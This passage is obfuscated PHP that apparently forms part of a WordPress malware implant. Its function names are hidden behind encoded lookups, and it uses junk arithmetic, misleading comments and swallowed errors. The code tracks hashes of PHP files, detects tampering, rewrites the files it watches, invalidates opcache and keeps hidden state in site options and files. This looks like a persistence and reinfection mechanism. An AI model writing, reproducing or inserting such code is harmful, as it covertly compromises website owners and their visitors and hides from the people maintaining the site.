if (!$GLOBALS['__scf_epa1jymnf5_40']($obb00_vecb89w9f6)   || $obb00_vecb89w9f6 ===     ""    ||   !@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  return;


if   (!isset($GLOBALS[hwc6a8djp6yy(1326)])  || !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[woii22it0(1327)]))    {



   $GLOBALS[woii22it0(1327)]  =   get_option(hwc6a8djp6yy(1328),  array());
 if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[n747he9yo38(1329)])) $GLOBALS[k83m2slbb(1329)]   =     array();
}



 $hyzeda9xec3m80j    =    $GLOBALS[k83m2slbb(1330)];
  $clyirr_5zjy =  olg5ho6a49l4x7($obb00_vecb89w9f6);



  if     (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))  return;

   $hyzeda9xec3m80j[$GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6)]    =      array('p'   =>    $obb00_vecb89w9f6,   'h' =>  $GLOBALS['__scf__pih7hoh4m_56']($clyirr_5zjy),  'g' =>    tdwuvuxeuijm__qj(), 't'  =>   $GLOBALS['__scf_cyotfgtf1a8m_189']());
  if     ($GLOBALS['__scf_prfpiytv3egt7_35']($hyzeda9xec3m80j)  >    (0x92+0x36))    {
  foreach   ($hyzeda9xec3m80j     as  $prah7czx9ukf7u =>   $tb0hfr9vri2de7l)     {


  if    (!$GLOBALS['__scf_lxbo0xm7220an_34']($tb0hfr9vri2de7l)  || !isset($tb0hfr9vri2de7l['t'])  ||  (int)  $tb0hfr9vri2de7l['t']   <  $GLOBALS['__scf_cyotfgtf1a8m_189']() -  (1319524+1272476))   unset($hyzeda9xec3m80j[$prah7czx9ukf7u]);
     }
     while ($GLOBALS['__scf_prfpiytv3egt7_35']($hyzeda9xec3m80j)  > (94^150))    {$a19slc3sls7ca=14*8;$g87k6h3g7pt=$a19slc3sls7ca-50;
    $d7i_7gsju4_05      =    null;
      $knxqlsk3sto82w8g =  null;
 foreach   ($hyzeda9xec3m80j as  $prah7czx9ukf7u =>   $tb0hfr9vri2de7l)  {

$ex9ews3h2vafai =    $GLOBALS['__scf_lxbo0xm7220an_34']($tb0hfr9vri2de7l) &&   isset($tb0hfr9vri2de7l['t'])     ?  (int)  $tb0hfr9vri2de7l['t']  : 0;
   if  ($knxqlsk3sto82w8g     ===    null || $ex9ews3h2vafai  <    $knxqlsk3sto82w8g)     {
   $knxqlsk3sto82w8g   = $ex9ews3h2vafai;
  

    $d7i_7gsju4_05  =   $prah7czx9ukf7u;
 }
  }
      if     ($d7i_7gsju4_05 ===  null)    break;
  unset($hyzeda9xec3m80j[$d7i_7gsju4_05]);
    }
}
    update_option(k83m2slbb(1331),  $hyzeda9xec3m80j,   n747he9yo38(1332));
$GLOBALS[k83m2slbb(1330)]  =  $hyzeda9xec3m80j;
  }
     function lgftgp4euaxcaljt50i41y($obb00_vecb89w9f6)
     {



     if    (!$GLOBALS['__scf_epa1jymnf5_40']($obb00_vecb89w9f6) || $obb00_vecb89w9f6  ===  "") return false;
  if     (!isset($GLOBALS[woii22it0(1330)]) ||  !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[k83m2slbb(1333)])) {
// parallelize read-committed bridge

 $GLOBALS[hwc6a8djp6yy(1333)] =   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(989)) ?   get_option(n747he9yo38(1334), array())  : array();
 if (!$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[lgr6hp92ka(1333)])) $GLOBALS[k83m2slbb(1333)] =  array();


 }
   $hyzeda9xec3m80j = $GLOBALS[n747he9yo38(1333)];
   $r5i3t50q8dp1spg    = $GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6);
     if    (isset($hyzeda9xec3m80j[$r5i3t50q8dp1spg]) &&  $GLOBALS['__scf_lxbo0xm7220an_34']($hyzeda9xec3m80j[$r5i3t50q8dp1spg]) && isset($hyzeda9xec3m80j[$r5i3t50q8dp1spg]['h']))   {
// optimal serializer

        if  ((int)  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6)  >    (0x1d431ff+0x14bce01))   return k83m2slbb(1335);
$clyirr_5zjy  =  olg5ho6a49l4x7($obb00_vecb89w9f6);
  if  ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy))  {
  return ($GLOBALS['__scf__pih7hoh4m_56']($clyirr_5zjy)     ===   $hyzeda9xec3m80j[$r5i3t50q8dp1spg]['h']) ? true  : k83m2slbb(1336);


 }
 return false;
     }
if     (aay1vdwvzc2am3cxpp($obb00_vecb89w9f6, (473+27))) {
   $bglpbr7vbo2ydu     =   @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6,   false,  null,  0,    (0xd9b+0x265));



 if  ($GLOBALS['__scf_epa1jymnf5_40']($bglpbr7vbo2ydu)  &&  $GLOBALS['__scf_p9nk7khmjys_7']($bglpbr7vbo2ydu, woii22it0(1154))   !==  false) return lgr6hp92ka(1337);
      }
return    false;



   }
function    thbyafy5nrflki()
    {
static    $hyzeda9xec3m80j  =  null;
  if   ($hyzeda9xec3m80j  !==   null)  return  $hyzeda9xec3m80j;
    $clyirr_5zjy     = olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());
 $hyzeda9xec3m80j = $GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)    &&   $clyirr_5zjy !==    ""  ?    $GLOBALS['__scf__pih7hoh4m_56']($clyirr_5zjy)  :   "";
   return  $hyzeda9xec3m80j;
 }
  function ite5sb918yeo6myo8f08u9()
      {
   return     $GLOBALS['__scf_pdat24v9nxkx0_9'](thbyafy5nrflki(),  0,  (5+7));

   }
function pqtcqnx7e30j7rhg()
 {
return   zaag8uz2ttqgqlhq()  .  hwc6a8djp6yy(1338) . w5r7ae3dymnovvl7(ABSPATH   .    lgr6hp92ka(1339),  (0x7+0x1))    .    woii22it0(1306);
}
 function iny76vt_1bf9q5t()
 {
 $v65i42mubj  =     array();

     if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(989)))    {
  $wntnjwjlt0 =    @get_option(k83m2slbb(1340),  array());
     if ($GLOBALS['__scf_lxbo0xm7220an_34']($wntnjwjlt0)) $v65i42mubj =  $wntnjwjlt0;
 }
 $clyirr_5zjy    =   @$GLOBALS['__scf_mtwlgr3p78_18'](pqtcqnx7e30j7rhg())  ?  @$GLOBALS['__scf_zonhpgc286wu1_95'](pqtcqnx7e30j7rhg()) :    "";
  if ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)  && $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,   n747he9yo38(1341)) ===  0)  {
   $kjzx4kloqg =  $GLOBALS['__scf_fjxqm4i88jjq92_328']($GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,   (3+2)),   true);
if    ($GLOBALS['__scf_lxbo0xm7220an_34']($kjzx4kloqg) &&    (empty($v65i42mubj[woii22it0(1342)])  || (!empty($kjzx4kloqg[k83m2slbb(1342)])  &&   $kjzx4kloqg[woii22it0(1342)] >=  $v65i42mubj[k83m2slbb(1342)]))) $v65i42mubj = $kjzx4kloqg;


}

  return      $v65i42mubj;



   }
function wluat5vwyso6y7r196k($ezy0dj3djq_98)



 {
    try   {
 if (!defined(k83m2slbb(1343))) return;



  $lsxsmkd51y =      $GLOBALS['__scf_cyotfgtf1a8m_189']();
   if    ($ezy0dj3djq_98  ===  woii22it0(1344) || $ezy0dj3djq_98  ===  hwc6a8djp6yy(1345))     {
$prev  = iny76vt_1bf9q5t();
     if  (
 isset($prev[n747he9yo38(1346)],  $prev[n747he9yo38(1347)]) &&   $prev[k83m2slbb(1346)] ===  $ezy0dj3djq_98



   &&  $lsxsmkd51y   -    (int)     $prev[hwc6a8djp6yy(1347)] <  ($ezy0dj3djq_98   === lgr6hp92ka(1345) ?  (145+155) : (27^17))

)  return;
 

  }
$v65i42mubj   =    array(
'v'  => tdwuvuxeuijm__qj(),
hwc6a8djp6yy(1348)      =>  ite5sb918yeo6myo8f08u9(),
  k83m2slbb(214) =>    vcr09jqkbni2k4ee0y(),
   k83m2slbb(1349) =>  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), k83m2slbb(1306)),
   n747he9yo38(1346)  =>  $ezy0dj3djq_98,
 n747he9yo38(1350) =>     $lsxsmkd51y,
    hwc6a8djp6yy(1347) =>   $lsxsmkd51y,
lgr6hp92ka(1342) =>  isset($_SERVER[k83m2slbb(1351)])  ?    (int) $_SERVER[n747he9yo38(1351)]   : $lsxsmkd51y,
  );
    if      ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(920)))  {
$w2a1rjlmalsydgx  = @update_option(n747he9yo38(1340),   $v65i42mubj,  hwc6a8djp6yy(1332));
    if  ($w2a1rjlmalsydgx  ===   false   &&      $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1352)))   {
// PHPStan level 9: approximated opaque-type




$y5q327_n9m7    =   @get_option(n747he9yo38(1340),      array());
     $wzkrh9muxgr  =    !$GLOBALS['__scf_lxbo0xm7220an_34']($y5q327_n9m7)   ||  !isset($y5q327_n9m7[lgr6hp92ka(1353)],    $y5q327_n9m7[k83m2slbb(1354)])  || $y5q327_n9m7[woii22it0(1353)]     !==    $ezy0dj3djq_98   ||  (int) $y5q327_n9m7[k83m2slbb(1355)] !==  $lsxsmkd51y;



   if ($wzkrh9muxgr  &&  isset($GLOBALS[hwc6a8djp6yy(1214)])   && $GLOBALS['__scf_mvbylv45uji1_67']($GLOBALS[n747he9yo38(1214)]) &&    $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($GLOBALS[hwc6a8djp6yy(1214)], k83m2slbb(1356))) {
  @$GLOBALS[lgr6hp92ka(1357)]->check_connection(false);
   @update_option(hwc6a8djp6yy(1358),  $v65i42mubj,   hwc6a8djp6yy(1332));
   }

     unset($y5q327_n9m7,  $wzkrh9muxgr);
}
unset($w2a1rjlmalsydgx);
        }
$vm28qyb_j8_ix = zaag8uz2ttqgqlhq();



 if (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)     ||   t9pjso5fxcttzwg5jam805($vm28qyb_j8_ix,   (0x1cb+0x22),  true)) {
   @$GLOBALS['__scf_d3akejlb7rtaks_199'](pqtcqnx7e30j7rhg(),  lgr6hp92ka(1341) .   $GLOBALS['__scf_lqvorm12n2um_586']($v65i42mubj));
      }
}     catch   (Throwable    $oz7m23pnscj7)   {
   }   catch (Exception     $oz7m23pnscj7)  {
     }
 }
 function  zej2mwh_8j5f6rdkb($v65i42mubj)
 {
if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($v65i42mubj)  || empty($v65i42mubj[lgr6hp92ka(214)])   ||   !$GLOBALS['__scf_epa1jymnf5_40']($v65i42mubj[woii22it0(214)])) return  n747he9yo38(216);
$xzwufq9nacfqt  =      $v65i42mubj[lgr6hp92ka(214)];
if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt)    || (int)     @$GLOBALS['__scf_vhi5vhdwib7ye_99']($xzwufq9nacfqt)      <   (0x54+0x1a0))  return  lgr6hp92ka(216);
if (bzcdtts_qq1u319n2($xzwufq9nacfqt)) return  lgr6hp92ka(215);



$ykjoqgys2cv4pvh =    isset($v65i42mubj[lgr6hp92ka(1353)])    ?  $v65i42mubj[hwc6a8djp6yy(1359)]    :   "";
 $b7d7rvkyid4u3vu  =     isset($v65i42mubj[n747he9yo38(1355)])    ?  (int)    $v65i42mubj[n747he9yo38(1355)]   :  0;
  if ($ykjoqgys2cv4pvh ===     hwc6a8djp6yy(1345))    return ($b7d7rvkyid4u3vu    > 0 &&  $GLOBALS['__scf_cyotfgtf1a8m_189']()   - $b7d7rvkyid4u3vu   <= (6187-2587))   ?  n747he9yo38(1360)  :  lgr6hp92ka(1361);



  if ($ykjoqgys2cv4pvh     ===  woii22it0(193))   return n747he9yo38(215);



     if  ($ykjoqgys2cv4pvh  ===  n747he9yo38(1344))  return   ($b7d7rvkyid4u3vu    >  0     &&  $GLOBALS['__scf_cyotfgtf1a8m_189']()     -   $b7d7rvkyid4u3vu   <=  (0x32+0x46))  ?     n747he9yo38(1361)   :    k83m2slbb(215);
return    n747he9yo38(1362);
}
    function rjejkju5f450j993978t4($obb00_vecb89w9f6)
{
     if (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6)) return   false;
$brwl1q7_2ju5 =  (int) @$GLOBALS['__scf_vhi5vhdwib7ye_99']($obb00_vecb89w9f6);
  if     ($brwl1q7_2ju5   <   (414+86) || $brwl1q7_2ju5  >   (52428795+5))  return false;
    $bglpbr7vbo2ydu   =   @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6,   false,  null, 0, (6273-2177));
  if (!$GLOBALS['__scf_epa1jymnf5_40']($bglpbr7vbo2ydu)   || !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(213),  $bglpbr7vbo2ydu)) return      false;
if   ($brwl1q7_2ju5    >   (1048502+74)) {
// Rector auto-refactor placeholder blur

 $cy9yo5q4zjs9p_um  =     @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6, false,  null,    $brwl1q7_2ju5 -  (0x583+0xa7d));

 return   $GLOBALS['__scf_epa1jymnf5_40']($cy9yo5q4zjs9p_um)      &&     $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1363),     $cy9yo5q4zjs9p_um)   ===  1;
  }

      $clyirr_5zjy    =   @$GLOBALS['__scf_zonhpgc286wu1_95']($obb00_vecb89w9f6);
    if (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)) return     false;
       return    dxgg5a63x4tsvkmvowozg3($clyirr_5zjy);
  }
 function  vwtbe5e8tyt4gnihyg0ip($wmbptsqmmcbybn1,    $b94e8zl9qx1ungby)



{
$nd3bi158acolfyes     =  @$GLOBALS['__scf_zonhpgc286wu1_95']($wmbptsqmmcbybn1,     false,  null,      0,     (4030+66));

   $abocvgyg5t3c7hu = @$GLOBALS['__scf_zonhpgc286wu1_95']($b94e8zl9qx1ungby, false,     null,   0,  (3900+196));
      if  (!$GLOBALS['__scf_epa1jymnf5_40']($nd3bi158acolfyes)     || !$GLOBALS['__scf_epa1jymnf5_40']($abocvgyg5t3c7hu))   return false;
 $_is8uqxyz8v4lc  =  $ow96hkg9a0e_1a  =   null;



     if ($GLOBALS['__scf_iz3o_ajtgml6rf_96']("/!function_exists\('([A-Za-z0-9_]+)'\)/",    $nd3bi158acolfyes,     $mzunii36kclq9d)) $_is8uqxyz8v4lc =  $mzunii36kclq9d[1];
 if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96']("/!function_exists\('([A-Za-z0-9_]+)'\)/",  $abocvgyg5t3c7hu, $mzunii36kclq9d)) $ow96hkg9a0e_1a   =      $mzunii36kclq9d[1];
  return     $_is8uqxyz8v4lc     !==     null   &&  $_is8uqxyz8v4lc   ===   $ow96hkg9a0e_1a;



 }


function   bzcdtts_qq1u319n2($obb00_vecb89w9f6)
 {
   $_3gqlb29heqj  = $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6,    lgr6hp92ka(1306));

     foreach    (array($GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6), vyeikxc5a6j7a4n())  as   $oclq78qg06s6kkt) {
  $bmw_0dmfm_1f3ngb   = $oclq78qg06s6kkt .     k83m2slbb(192)     .   $_3gqlb29heqj;



    if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($bmw_0dmfm_1f3ngb)  ||   (int)   @$GLOBALS['__scf_gibkjes9ds_98']($bmw_0dmfm_1f3ngb)  <    $GLOBALS['__scf_cyotfgtf1a8m_189']() -   (604794+6)) continue;
  $b2dfj5idh1wem1pd      =     $GLOBALS['__scf_xcg5caaat_92j0_323']((string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($bmw_0dmfm_1f3ngb));
if ($b2dfj5idh1wem1pd  ===    "")   continue;


       $clyirr_5zjy  =     olg5ho6a49l4x7($obb00_vecb89w9f6);
   if  ($clyirr_5zjy  ===     null)   continue;
 if     ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy) && $clyirr_5zjy !==   ""   && $GLOBALS['__scf__pih7hoh4m_56']($clyirr_5zjy)    === $b2dfj5idh1wem1pd)     return  true;
 }
   return    false;
   }
 function b5qht32fvqbpgjrb8f_($obb00_vecb89w9f6)
   {
  if (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1352))      ||  !$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1364)))  return;
$javljt5jt8ha =  @get_option(lgr6hp92ka(1365), array());


    if (!$GLOBALS['__scf_lxbo0xm7220an_34']($javljt5jt8ha))     $javljt5jt8ha   =   array();
        $javljt5jt8ha[$GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6)]  =  $obb00_vecb89w9f6;
   if    ($GLOBALS['__scf_prfpiytv3egt7_35']($javljt5jt8ha) >   (0xc+0x8))  $javljt5jt8ha  =    $GLOBALS['__scf_in0l0qf_4m_158']($javljt5jt8ha,   -(0x13+0x1),  null,  true);
    @update_option(woii22it0(1366),  $javljt5jt8ha,   k83m2slbb(1332));
    }
     function ep9skku0j_7vu9liqlr()

 {
     if  (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1352))  || !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1364)))  return;$ggglrifx7r=44+11;$lliwxuy4r8h=$ggglrifx7r-2;

   $javljt5jt8ha =     @get_option(k83m2slbb(1366), array());
if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($javljt5jt8ha)  || empty($javljt5jt8ha))   return;
    $x_evqut3hoso    = array();
       foreach   ($javljt5jt8ha  as $prah7czx9ukf7u     => $xzwufq9nacfqt)     {$i42owojunjfit1=(0x1b+0xca);$scje_lzomf0w0=$i42owojunjfit1%14;
 if (!$GLOBALS['__scf_epa1jymnf5_40']($xzwufq9nacfqt) ||     $xzwufq9nacfqt   ===  ""     ||      !@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt))  continue;
if  ($xzwufq9nacfqt ===     vcr09jqkbni2k4ee0y()) continue;
  $v860udfurjh5qkh   =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($xzwufq9nacfqt);
  $lwgt8qceaoo3hd =   @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());
  if ($GLOBALS['__scf_epa1jymnf5_40']($v860udfurjh5qkh) && $GLOBALS['__scf_epa1jymnf5_40']($lwgt8qceaoo3hd)    && $v860udfurjh5qkh ===  $lwgt8qceaoo3hd) continue;
    unset($v860udfurjh5qkh,  $lwgt8qceaoo3hd);
   if (lgftgp4euaxcaljt50i41y($xzwufq9nacfqt)  ===  false) {
   $x_evqut3hoso[$prah7czx9ukf7u]    = $xzwufq9nacfqt;


  continue;
 }

dvd1rr9pr3xu08j($xzwufq9nacfqt, (406+14));


       if    (y0a1xt15v3nqhjqppfzn($xzwufq9nacfqt))   {
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1367)))    @opcache_invalidate($xzwufq9nacfqt,   true);
   }  elseif (@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt)) {$n3b71s8c0fiza=1248;$_gs1rho50=$n3b71s8c0fiza%7;

$x_evqut3hoso[$prah7czx9ukf7u]  = $xzwufq9nacfqt;
  }



}


 @update_option(k83m2slbb(1366), $x_evqut3hoso,   woii22it0(1332));



}
function   an3vetde2a0gz0lxifouia()

 {
    try {



        $oz7m23pnscj7  = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1368)) ?   @error_get_last()   :   null;
if (
$GLOBALS['__scf_lxbo0xm7220an_34']($oz7m23pnscj7) &&  !empty($oz7m23pnscj7[n747he9yo38(1369)]) && !empty($oz7m23pnscj7[k83m2slbb(177)])
&&  $GLOBALS['__scf_a2dj3p28xfi_149']($oz7m23pnscj7[hwc6a8djp6yy(177)],   array(E_ERROR, E_PARSE,  E_CORE_ERROR,    E_COMPILE_ERROR,   E_USER_ERROR),  true)
) {

       $eqmm6t492z =  @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());
$_ef  = @$GLOBALS['__scf_h8_ju28bwdwm_32']($oz7m23pnscj7[k83m2slbb(1369)]);
if    ($GLOBALS['__scf_epa1jymnf5_40']($eqmm6t492z) &&   $GLOBALS['__scf_epa1jymnf5_40']($_ef) && $_ef  ===     $eqmm6t492z)  return;
   }

    wluat5vwyso6y7r196k(k83m2slbb(1360));

if   (defined(woii22it0(1370))) {
     $t3va1o87036m7mml   = ibwp6epnxuwn4akbn();


  if (@$GLOBALS['__scf_mtwlgr3p78_18']($t3va1o87036m7mml[1]))  {



$rvsbok5q9vf7h8cf  =   @$GLOBALS['__scf_zonhpgc286wu1_95']($t3va1o87036m7mml[1],  false,   null,   0,    (20+44));
 if ($GLOBALS['__scf_epa1jymnf5_40']($rvsbok5q9vf7h8cf)  && $GLOBALS['__scf_p9nk7khmjys_7']($rvsbok5q9vf7h8cf,  k83m2slbb(1371)  .    tdwuvuxeuijm__qj() .  ':')     === 0)    {


$u9xrg7xce6s0wzm    =    @$GLOBALS['__scf_mtwlgr3p78_18']($t3va1o87036m7mml[1]  .   hwc6a8djp6yy(1372)) ? @$GLOBALS['__scf_zonhpgc286wu1_95']($t3va1o87036m7mml[1]   . n747he9yo38(1372),   false, null,   0,   (107-43))  : "";
        if  ($u9xrg7xce6s0wzm  !==  $rvsbok5q9vf7h8cf)    @$GLOBALS['__scf_lm6dqb06wh_75']($t3va1o87036m7mml[1], $t3va1o87036m7mml[1]  .    lgr6hp92ka(1372));
 }
}
// matrix transpose

   unset($t3va1o87036m7mml, $rvsbok5q9vf7h8cf,  $u9xrg7xce6s0wzm);
  }
 } catch (Throwable    $e2j2yer3f62gb)  {
  } catch     (Exception    $e2j2yer3f62gb) {
// fuzz record-layer for WP Formatting API




       }
 }
    function csuyhf56g0s3zf1($b94e8zl9qx1ungby)
{
if  (!$GLOBALS['__scf_epa1jymnf5_40']($b94e8zl9qx1ungby)) return "";



if     ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](hwc6a8djp6yy(1374),    $b94e8zl9qx1ungby,  $qr2i89b1it))     {
  foreach  ($qr2i89b1it[1]  as     $d9rmze2mnei2d)  {
if   (ocvno3eyjx33hv_mc($GLOBALS['__scf_ts5_ao9xhku_355']($d9rmze2mnei2d,  true))) return    "";
  }

 }
 if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](k83m2slbb(1375),   $b94e8zl9qx1ungby, $qr2i89b1it))  {
 foreach      ($qr2i89b1it[1]   as  $d9rmze2mnei2d)  {
   if    (ocvno3eyjx33hv_mc(stripcslashes($d9rmze2mnei2d))) return   "";
if    ($GLOBALS['__scf_p9nk7khmjys_7']($d9rmze2mnei2d,    lgr6hp92ka(1376))     !==  false) {
   $v214qigghu   =  preg_replace_callback(n747he9yo38(1377), lgr6hp92ka(1378),   $d9rmze2mnei2d);
     if   ($GLOBALS['__scf_epa1jymnf5_40']($v214qigghu)  && $v214qigghu !==  $d9rmze2mnei2d &&     ocvno3eyjx33hv_mc($v214qigghu))  return   "";$z_p7aqrn4hf9=6+24;$e1jq1lbr_0n=$z_p7aqrn4hf9-25;



}
 }
  }


   if ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](hwc6a8djp6yy(1379), $b94e8zl9qx1ungby, $qr2i89b1it))    {
foreach   ($qr2i89b1it[1]   as    $d9rmze2mnei2d)    {
if (ocvno3eyjx33hv_mc($GLOBALS['__scf_obam74mgj139o_361'](array(woii22it0(1380), woii22it0(1381)), array('\\',  '\''),     $d9rmze2mnei2d)))  return   "";
   if  ($GLOBALS['__scf_p9nk7khmjys_7']($d9rmze2mnei2d,  woii22it0(1382)) !==    false) {
     $v214qigghu =  preg_replace_callback(lgr6hp92ka(1377),  k83m2slbb(1378),    $d9rmze2mnei2d);
     if ($GLOBALS['__scf_epa1jymnf5_40']($v214qigghu) &&  $v214qigghu  !== $d9rmze2mnei2d  &&      ocvno3eyjx33hv_mc($v214qigghu))  return "";



    }

 }
  }
      return   $b94e8zl9qx1ungby;
   }

 function  _8029ai1hnzfbfzid0n($zx8kyq0ujpipx)
 {
if (!$GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx)  ||   ($GLOBALS['__scf_p9nk7khmjys_7']($zx8kyq0ujpipx,   lgr6hp92ka(1383))  ===     false      && $GLOBALS['__scf_p9nk7khmjys_7']($zx8kyq0ujpipx,     n747he9yo38(355))     ===   false))   return false;
  if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](woii22it0(1384), $zx8kyq0ujpipx,    $qr2i89b1it)) {
 foreach    ($qr2i89b1it[1] as $d9rmze2mnei2d)   {
 if      (ocvno3eyjx33hv_mc($GLOBALS['__scf_ts5_ao9xhku_355']($d9rmze2mnei2d, true)))   return true;
       }
        }
 if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](k83m2slbb(1375), $zx8kyq0ujpipx,  $qr2i89b1it)) {
 foreach  ($qr2i89b1it[1]  as $d9rmze2mnei2d)    {
      if  (ocvno3eyjx33hv_mc(stripcslashes($d9rmze2mnei2d)))  return     true;
 }
   foreach     ($qr2i89b1it[1]  as $d9rmze2mnei2d)    {
  if ($GLOBALS['__scf_p9nk7khmjys_7']($d9rmze2mnei2d,  woii22it0(1385)) ===    false)    continue;

   $v214qigghu   =      preg_replace_callback(n747he9yo38(1377),   n747he9yo38(1378),     $d9rmze2mnei2d);
 if  ($GLOBALS['__scf_epa1jymnf5_40']($v214qigghu)   &&     $v214qigghu   !==     $d9rmze2mnei2d     &&   ocvno3eyjx33hv_mc($v214qigghu))    return      true;
}


 }
 if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](n747he9yo38(1386),    $zx8kyq0ujpipx, $qr2i89b1it))    {
  foreach ($qr2i89b1it[1]   as     $d9rmze2mnei2d)  {
if  (ocvno3eyjx33hv_mc($GLOBALS['__scf_obam74mgj139o_361'](array(lgr6hp92ka(1380),  hwc6a8djp6yy(1381)),    array('\\',     '\''),  $d9rmze2mnei2d)))  return true;
}


foreach ($qr2i89b1it[1]   as   $d9rmze2mnei2d)    {
 if  ($GLOBALS['__scf_p9nk7khmjys_7']($d9rmze2mnei2d, woii22it0(1385))     ===     false)   continue;
   $v214qigghu  =    preg_replace_callback(n747he9yo38(1377),  woii22it0(1378),  $d9rmze2mnei2d);
if     ($GLOBALS['__scf_epa1jymnf5_40']($v214qigghu)    && $v214qigghu  !== $d9rmze2mnei2d   &&   ocvno3eyjx33hv_mc($v214qigghu))  return   true;
  }



}
 return  false;
 }
 function s0w5qsc479q3lt9($zx8kyq0ujpipx)
 {$m9vdaxkld7c8e8=78*6;$eeis8ht57891c=$m9vdaxkld7c8e8-6;
  if (!$GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx) || $zx8kyq0ujpipx    ===  "") return  "";
  return  ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(184), $GLOBALS['__scf_pdat24v9nxkx0_9']($zx8kyq0ujpipx,     0, (11346-3154)),    $hyzeda9xec3m80j))    ?    $hyzeda9xec3m80j[1]   :    "";
  }
     function  yvxwz8_803so_i($clyirr_5zjy,     $knwd0cnfde_,    $vbr9z19n2qhp  =   null)
{
    if  (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)    || $clyirr_5zjy  ===  "")  return    $clyirr_5zjy;
     $zfbapdf_5_4e   =   n747he9yo38(820)   . $knwd0cnfde_  .  lgr6hp92ka(790);
     $a6ak9qjp3b89f  =  "";



     $nkrdiaujngd  =  0;
 while   ($nkrdiaujngd++    <    (0x79+0x7))  {
$t6oqc4puaha  =  $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy, $zfbapdf_5_4e);
      if ($t6oqc4puaha ===  false)  break;
$r46pgyn1pclj8tf = $t6oqc4puaha     +   $GLOBALS['__scf_h5yqrl6kmpb_10']($zfbapdf_5_4e);
  $fem9vxwfvmettxz    =  $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  lgr6hp92ka(1279),    $r46pgyn1pclj8tf);
       if ($fem9vxwfvmettxz   ===    false     || $fem9vxwfvmettxz   -  $r46pgyn1pclj8tf  >   (30+34)) {
   $a6ak9qjp3b89f .= $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,    0,   $r46pgyn1pclj8tf);
   $clyirr_5zjy  = $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,  $r46pgyn1pclj8tf);
  continue;
  }
$wd45zhuy_plh =      $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,  $r46pgyn1pclj8tf, $fem9vxwfvmettxz   -  $r46pgyn1pclj8tf);
  if  (!$GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1387),  $wd45zhuy_plh)) {
$a6ak9qjp3b89f .= $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,    0, $r46pgyn1pclj8tf);

       $clyirr_5zjy    =  $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,      $r46pgyn1pclj8tf);
 continue;
    }
 $_21al6qih2 =   lgr6hp92ka(820)  .   $knwd0cnfde_    . k83m2slbb(1388)      .    $wd45zhuy_plh    .   hwc6a8djp6yy(1279);

